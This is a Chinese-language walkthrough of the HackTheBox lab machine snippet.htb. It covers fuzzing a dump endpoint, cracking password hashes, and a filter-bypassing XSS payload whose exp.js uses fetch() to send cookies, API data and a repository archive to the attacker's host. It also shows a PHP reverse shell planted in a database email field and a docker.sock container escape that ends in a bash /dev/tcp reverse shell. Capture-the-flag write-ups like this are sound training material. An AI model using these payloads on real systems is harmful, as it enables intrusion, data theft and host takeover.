file

信息收集

这台靶机开放的端口如下:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey: 
   2048 82:21:e2:a5:82:4d:df:3f:99:db:3e:d9:b3:26:52:86 (RSA)
   256 91:3a:b2:92:2b:63:7d:91:f1:58:2b:1b:54:f9:70:3c (ECDSA)
_  256 65:20:39:2b:a7:3b:33:e5:ed:49:a9:ac:ea:01:bd:37 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
_http-title: snippet.htb
_http-server-header: nginx/1.14.0 (Ubuntu)

绑定的域名及子域名如下:

snippet.htb
dev.snippet.htb
mail.snippet.htb

立足点

在JS代码中发现management/dump路径,接下来构建http请求报文,尝试对其字段进行爆破:

从Brup Suite中抓包,将其修改为以下内容,并存为文件requests.txt:

POST http://snippet.htb/management/dump HTTP/1.1
Host: snippet.htb
Content-Length: 13
Accept: text/html, application/xhtml+xml
X-Inertia-Version: 207fd484b7c2ceeff7800b8c8a11b3b6
X-Requested-With: XMLHttpRequest
X-Inertia: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
X-XSRF-TOKEN: eyJpdiI6Inlwd2RsSGZEWVl4eU1aUi9WMTVVZWc9PSIsInZhbHVlIjoiNVRBNFBQdTF2NTgzSXNhdkZMUG44RDBMQ1I1eDdCeEsvZ0RLREgzK2ZBaEhtZE85ZmR0VFZ2SlFHdi9DZTNDYkhGRWR0Nm5Eb1MvNERYNnpvaXdZRHJqSXFkT3o2dWo4ZzF0TFBQRmVXYjdNNkM2NFhlR0NwekEvNFpJcytLejEiLCJtYWMiOiI0M2U1NjUwMTFkMmFjYzdlMWE1NTY4YzhmMjA3MmI1MzkwYmI4ZjMyOGZiNTUzYjkwYWI1NTNlZGYzNWNjZGJjIiwidGFnIjoiIn0=
Content-Type: application/json
Origin: http://snippet.htb
Referer: http://snippet.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6Inlwd2RsSGZEWVl4eU1aUi9WMTVVZWc9PSIsInZhbHVlIjoiNVRBNFBQdTF2NTgzSXNhdkZMUG44RDBMQ1I1eDdCeEsvZ0RLREgzK2ZBaEhtZE85ZmR0VFZ2SlFHdi9DZTNDYkhGRWR0Nm5Eb1MvNERYNnpvaXdZRHJqSXFkT3o2dWo4ZzF0TFBQRmVXYjdNNkM2NFhlR0NwekEvNFpJcytLejEiLCJtYWMiOiI0M2U1NjUwMTFkMmFjYzdlMWE1NTY4YzhmMjA3MmI1MzkwYmI4ZjMyOGZiNTUzYjkwYWI1NTNlZGYzNWNjZGJjIiwidGFnIjoiIn0%3D; snippethtb_session=eyJpdiI6ImJIcjVDOWt1WFpLeUNuTnN3aEJBdWc9PSIsInZhbHVlIjoiN2lnbTY2MVR0VUZsOEhIMHZ3SEhUUERRVjdMR2srNjRBdWpLMlZoYkFheG1uM1M0bWZkSkFRcEZPUUtTNVhINlh4QkdWQ1EzakxLTkRTYVVURXkwQzV5N0hpRG13OG1ndXdiajVVYWFqempHd0twVXp6NFZITjluTjVIdS84dzMiLCJtYWMiOiJjZmJkYmJlN2M0MTUwY2UxOTU1OTMwOWZmZGM0YTU2YmE3ZDI0YjNlNDJjNjc3M2VmNjZkN2I2Y2E3NmQ4N2I1IiwidGFnIjoiIn0%3D
Connection: close

{"FUZZ":"bar"}

接下来使用ffuf对其进行字段爆破,得到前一个字段为download

ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Missing arguments"

再将json字段的FUZZ替换为download,将bar替换为FUZZ,爆破bar字段,得到第二个字段为users

ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Unknown tablename"

哈希碰撞

management/dump接口中,我们得到了以下密码哈希,接下来尝试对其做碰撞,找出弱密码:

30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82
98204173dffb1e65a20236e50914a7f3c2dfa6935ecc7de9dd341f7f5237ef05
4683b63ef783ada656e0de04e6e88b61a220fdd8b36b90e1a2f906e500e4c640
70bf03b94c0c4d5a2c03ae4fe0fc8b56e5c19c02f7dff1ef8f6be781440fc21a
...

首先,对哈希类型进行识别:

hashcat "30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82"

从结果中,我们可以看到最大可能性为SHA2-256。

接下来对其进行碰撞,得到password123

hashcat -a 0 -m 1400 hashes /usr/share/wordlists/rockyou.txt

其对应的用户名为:letha@snippet.htb,fredrick@snippet.htb,gia@snippet.htb,juliana@snippet.htb。

随便找一个用户名进行登录后,可以在这个链接里看到jean的凭据http://snippet.htb/snippets/update/2

curl -XGET http://dev.snippet.htb/api/v1/users/jean/tokens -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB'

base64解码后,得到jean的密码:EHmfar1Y7ppA9O5TAIXnYnJpA

extension仓库

jean存在extension的仓库,代码是一个Chrome浏览器的扩展,可以把issue里的内容挂在列表里。

其中,存在问题的代码如下:

function check(str) {

    // remove tags
    str = str.replace(/<.*?>/, "")

    const filter = [";", "\'", "(", ")", "src", "script", "&", "", "[", "]"]

    for (const i of filter) {
        if (str.includes(i))
            return ""
    }

    return str

}

上述代码存在两个问题:

  • 1.去除标签的时候,没有进行递归操作,所以它只能把第一个标签替换为空字符串。
  • 2.过滤的逻辑比较粗糙,可以通过大小写进行绕过。

而从仓库中,Settings -> Collaborators里发现charlie用户。

开发Exp

为了减少开发Exp的次数,我选择直接加载我们自己代码的XSS Payload。

首先第一步,构造一个动态加载js的代码:

var script = document.createElement('script');
script.type = 'text/javascript';
script.src= 'http://<your ip>:8888/exp.js';
document.getElementsByTagName('head')[0].appendChild(script);

第二步,为了绕过过滤条件,对其进行base64编码:

echo "var script=document.createElement('script');script.type = 'text/javascript';script.src= 'http://<your ip>:8888/exp.js';document.getElementsByTagName('head')[0].appendChild(script);"  base64

第三步,找到一个满足过滤条件的XSS代码:

<img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`>

第四步,拼装,生成最终的XSS Payload:

XSS payload: <test><img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`>

第五步,创建exp.js,内容如下,并搭建http服务:

fetch("http://<your_ip>/data/" + btoa(document.cookie) );

接下来,我们就可以在仓库中提一个Issue,把XSS的payload放进去,等待http中的内容反弹。

XSS利用

前文提到,该仓库的协同开发的是Charlie,所以,我们在改仓库提的Issue最终Charlie用户会看到,但实际上,我们没法通过document.cookie来获取Charlie用户的cookie,因为该cookie被设置为http-only。

那接下来,就要探索,如何去进一步利用XSS的漏洞了。

http://dev.snippet.htb/api/swagger 中,我们可以看到很多API,比较有用的是http://dev.snippet.htb/api/v1/users/charlie/repos 接口。

接下来,我们修改exp.js的内容如下:

fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then((rep=>{
    return rep.text()
})).then((content)=>{
    fetch("http://<your ip>/data/"+btoa(content))
})

从返回的结果中,可以看到Charlie用户存在一个backups的仓库。

最后,修改exp.js内容如下:

fetch('http://dev.snippet.htb/charlie/backups/archive/master.zip').then((rep=>{
    return rep.blob()
})).then((blob)=>{
    const fileReader = new FileReader();
    fileReader.readAsDataURL(blob);
    fileReader.onload = (e) => {
     fetch("http://<your ip>/data/"+btoa(e.target.result));
    };
})

拿到backup仓库的文件,拿到Charlie用户的私钥。

横向移动

通过su横向移动至jean用户,在Project目录下发现AdminController.php在验证邮箱时存在代码执行漏洞。

从pspy中获得mysql凭据: root / toor。

通过ssh将远程3306端口转发至本地:ssh -L 127.0.0.1:3306:127.0.0.1:3306 charlie@10.10.11.171 -i id_rsa

以gia用户身份进行登录,然后通过mysql将其身份改为Manager,将kaleigh@snippet.htb用户的邮箱改为可以反弹shell的payload。

mysql -u root -ptoor -h 127.0.0.1
use webapp;
UPDATE users set user_type='Manager' where email='gia@snippet.htb';
UPDATE users set email='kaleigh@snippet.htb > /dev/null; php -r \'$sock=fsockopen(<your ip>,8443);`sh <&3 >&3 2>&3`;\' echo "123"' where email='kaleigh@snippet.htb';

接下来,对payload进行邮箱验证时,便会获得container的shell。

容器逃逸+提权

在容器内部,我们发现一个可写的docker.sock文件,所以接下来,我们可以通过curl去执行docker的一些命令。

首先,我们来看一下当前docker下有哪些image

curl -s --unix-socket /app/docker.sock http://localhost/images/json

从返回的列表中,我们以php:7.4-fpm-alpine 为例,创建一个该对象下的实例:将宿主机的根目录挂在在容器的tmp目录下,然后执行chroot,最后反弹shell。

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/<your ip>/4444 0<&1'\\\"\"]"
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"php:7.4-fpm-alpine\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=gaoxiaodiao_root

创建好容器后,用以下命令启动容器:

curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/gaoxiaodiao_root/start"

接下来,从反弹的shell里拿到root的私钥。

完!